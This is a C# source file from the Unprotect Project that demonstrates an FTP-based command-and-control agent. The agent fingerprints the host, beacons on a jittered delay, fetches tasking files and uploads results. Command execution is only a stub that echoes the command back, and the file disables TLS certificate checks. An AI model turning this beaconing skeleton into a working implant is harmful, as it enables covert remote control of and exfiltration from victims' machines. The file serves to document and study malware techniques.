-
Notifications
You must be signed in to change notification settings - Fork 5
/
FtpC2.cs
315 lines (252 loc) · 11.5 KB
/
FtpC2.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
/*
* =========================================================================================
* www.unprotect.it (Unprotect Project)
* Author: Jean-Pierre LESUEUR (@DarkCoderSc)
* =========================================================================================
*/
/*
* Quick Start with Docker:
*
* > `docker pull stilliard/pure-ftpd`
*
* Unsecure FTP Server:
* > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST: 127.0.0.1" -e "ADDED_FLAGS=-E -A -X -x" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark stilliard/pure-ftpd`
*
* "Secure" FTP Server (TLS):
* > `docker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e "PUBLICHOST: 127.0.0.1" -e "ADDED_FLAGS=-E -A -X -x --tls=2" -e FTP_USER_NAME=dark -e FTP_USER_PASS=toor -e FTP_USER_HOME=/home/dark -e "TLS_CN=localhost" -e "TLS_ORG=gogopando" -e "TLS_C=FR" stilliard/pure-ftpd`
*
*
* /!\ DO NOT EXPOSE THE FTP SERVER TO LAN / WAN /!\
*/
using System.Net;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;
using System.Security.Cryptography;
using System.Text;
class Program
{
public static Guid AgentSession = Guid.NewGuid();
// EDIT HERE BEGIN ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
public static readonly string FtpHost = "127.0.0.1";
public static readonly string FtpUser = "dark";
public static readonly string FtpPwd = "toor";
public static readonly bool FtpSecure = false;
public static readonly int BeaconDelayMin = 500;
public static readonly int BeaconDelayMax = 1000;
// EDIT HERE END ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool GetVolumeInformation(
string lpRootPathName,
StringBuilder lpVolumeNameBuffer,
int nVolumeNameSize,
out uint lpVolumeSerialNumber,
out uint lpMaximumComponentLength,
out uint lpFileSystemFlags,
StringBuilder lpFileSystemNameBuffer,
int nFileSystemNameSize
);
public static CancellationTokenSource CancellationTokenSource = new();
/// <summary>
/// The FtpHelper class is a utility in C# designed to streamline the application of the FTP protocol.
/// This is accomplished through abstraction and simplification of the built-in WebRequest class,
/// providing users with a more intuitive and manageable interface for FTP operations.
///
/// Supported operations:
/// * Session Actions
/// * Stream Upload (Generic)
/// * String Upload
/// * Stream Download (Generic)
/// * String Download
/// * Create Directory
/// * Delete File
/// * Enumerate Directory Files
/// </summary>
public class FtpHelper
{
public string Host;
public string Username;
private string Password;
private bool Secure;
public FtpHelper(string host, string username, string password, bool secure)
{
this.Host = host;
this.Username = username;
this.Password = password;
this.Secure = secure;
}
private FtpWebRequest NewRequest(string? uri)
{
// Microsoft no longer recommends using "WebRequest" for FTP operations and advises opting for third-party components
// specialized in this domain. However, for the sake of this demonstration, the built-in function was deemed convenient.
#pragma warning disable SYSLIB0014
FtpWebRequest request = (FtpWebRequest)WebRequest.Create($"ftp://{this.Host}/{uri ?? ""}");
#pragma warning restore SYSLIB0014
request.Credentials = new NetworkCredential(this.Username, this.Password);
request.UsePassive = true;
request.UseBinary = true;
request.KeepAlive = true;
request.EnableSsl = this.Secure;
return request;
}
public void UploadData(Stream data, string destFilePath)
{
FtpWebRequest request = this.NewRequest(destFilePath);
request.Method = WebRequestMethods.Ftp.UploadFile;
using Stream requestStream = request.GetRequestStream();
data.CopyTo(requestStream);
}
public void UploadString(string content, string destFilePath)
{
byte[] bytes = Encoding.UTF8.GetBytes(content);
using MemoryStream stream = new(bytes);
UploadData(stream, destFilePath);
}
public Stream DownloadData(string remoteFilePath)
{
FtpWebRequest request = this.NewRequest(remoteFilePath);
request.Method = WebRequestMethods.Ftp.DownloadFile;
FtpWebResponse response = (FtpWebResponse)request.GetResponse();
Stream stream = response.GetResponseStream();
return stream;
}
public string DownloadString(string remoteFilePath)
{
using Stream stream = DownloadData(remoteFilePath);
using StreamReader reader = new StreamReader(stream);
return reader.ReadToEnd();
}
private void ExecuteFTPCommand(string remoteDirectoryPath, string command)
{
FtpWebRequest request = this.NewRequest(remoteDirectoryPath);
request.Method = command;
using FtpWebResponse resp = (FtpWebResponse)request.GetResponse();
}
public void CreateDirectory(string remoteDirectoryPath)
{
ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.MakeDirectory);
}
public void DeleteFile(string remoteDirectoryPath)
{
ExecuteFTPCommand(remoteDirectoryPath, WebRequestMethods.Ftp.DeleteFile);
}
}
/// <summary>
/// This function generates a unique machine ID by hashing the primary Windows hard drive's serial number and converting it into
/// a pseudo-GUID format.
/// It is specifically designed for Microsoft Windows operating systems. However, you are encouraged to adapt this algorithm for
/// other operating systems and/or employ different strategies to derive a unique machine ID
/// (e.g., using the MAC Address, CPU information, or saving a one-time generated GUID in the Windows registry or a file).
/// </summary>
/// <returns>A unique machine ID in GUID format.</returns>
[SupportedOSPlatform("windows")]
public static Guid GetMachineId()
{
string candidate = "";
string mainDrive = Environment.GetFolderPath(Environment.SpecialFolder.System)[..3];
const int MAX_PATH = 260;
StringBuilder lpVolumeNameBuffer = new(MAX_PATH + 1);
StringBuilder lpFileSystemNameBuffer = new(MAX_PATH + 1);
bool success = GetVolumeInformation(
mainDrive,
lpVolumeNameBuffer,
lpVolumeNameBuffer.Capacity,
out uint serialNumber,
out uint _,
out uint _,
lpFileSystemNameBuffer,
lpFileSystemNameBuffer.Capacity
);
if (success)
candidate += serialNumber.ToString();
using MD5 md5 = MD5.Create();
byte[] hash = md5.ComputeHash(Encoding.ASCII.GetBytes(candidate));
return new Guid(Convert.ToHexString(hash));
}
public static void Main(string[] args)
{
// Important Notice: The delegate below renders the current application susceptible to
// Man-in-the-Middle (MITM) attacks when utilizing SSL/TLS features.
// This configuration was implemented to accommodate self-signed certificates.
// However, it is strongly advised not to employ this approach in a production environment
// if SSL/TLS security is expected.
if (FtpSecure)
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
///
// Adapt "GetMachineId" for cross-platform support.
AgentSession = GetMachineId();
List<Thread> daemons = new List<Thread>();
///
// This thread is tasked with handling C2 commands and dispatching responses. Note that this sample utilizes a
// single-threaded approach, but it's possible to distribute the operations across multiple threads to enhance
// performance.
daemons.Add(new Thread((object? obj) =>
{
if (obj == null)
return;
FtpHelper ftp = new(FtpHost, FtpUser, FtpPwd, FtpSecure);
string contextPath = $"{AgentSession.ToString()}/{Environment.UserName}@{Environment.MachineName}";
string commandFile = $"{contextPath}/__command__";
CancellationToken cancellationToken = (CancellationToken)obj;
while (!cancellationToken.IsCancellationRequested)
{
string? command = null;
try
{
// Retrieve dedicated command
try
{
command = ftp.DownloadString(commandFile);
}
catch { };
// Create remote directory tree
try
{
ftp.CreateDirectory(AgentSession.ToString());
ftp.CreateDirectory(contextPath);
}
catch { };
// Echo-back command result
if (!String.IsNullOrEmpty(command))
{
// ... PROCESS ACTION / COMMAND HERE ... //
// ...
string commandResult = $"This is just a demo, so I echo-back the command: `{command}`.";
// ...
// ... PROCESS ACTION / COMMAND HERE ... //
string resultFile = $"{contextPath}/result.{DateTime.Now.ToString("yyyy-MM-dd-HH-mm-ss")}";
ftp.UploadString(commandResult, resultFile);
// Delete the command file when processed
try
{
ftp.DeleteFile(commandFile);
}
catch { }
}
///
Thread.Sleep(new Random().Next(BeaconDelayMin, BeaconDelayMax));
}
catch (Exception ex) {
Console.WriteLine(ex.Message);
};
}
}));
// The action to handle a CTRL+C signal on the console has been registered.
// When triggered, it will instruct any associated cancellation tokens to properly
// shut down their associated daemons.
Console.CancelKeyPress += (sender, cancelEventArgs) =>
{
CancellationTokenSource.Cancel(); // Signal tokens that application needs to be closed.
cancelEventArgs.Cancel = true; // Cancel default behaviour
};
// Start daemons
foreach (Thread daemon in daemons)
daemon.Start(CancellationTokenSource.Token);
// Keep process running until CTRL+C.
CancellationToken token = CancellationTokenSource.Token;
while (!token.IsCancellationRequested)
Thread.Sleep(1000);
// Wait for daemons to join main thread
foreach (Thread daemon in daemons)
daemon.Join();
}
}